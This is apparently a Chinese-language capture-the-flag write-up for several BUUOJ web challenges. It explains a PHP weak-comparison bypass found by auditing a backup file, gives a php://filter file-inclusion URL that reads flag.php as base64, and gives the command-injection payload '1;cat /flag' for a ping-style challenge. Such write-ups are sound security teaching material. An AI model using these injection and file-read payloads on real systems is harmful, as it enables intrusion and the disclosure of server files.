BackupFile

题目BackupFile提示备份文件,下载到index.php.bak备份文件,审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

参数key要为数字,且与str弱相等,直接为key赋值123即可绕过:

Include

打开靶机后点击tips跳转页面,看了一下地址是文件包含的格式:

尝试PHP伪协议读取:
Payload:

1
http://bf201cfd-db23-4d93-b0c9-ce19a01253ec.node3.buuoj.cn/?file=php://filter/convert.base64-encode/resource=flag.php

Exec

GXYCTF2019 Ping Ping Ping改编题,改的非常简单,具体知识可以参考该篇博文,在此不再赘述。
Payload:

1
1;cat /flag

Upload

极客大挑战2019原题,具体知识可以参考该篇博文,在此不再赘述。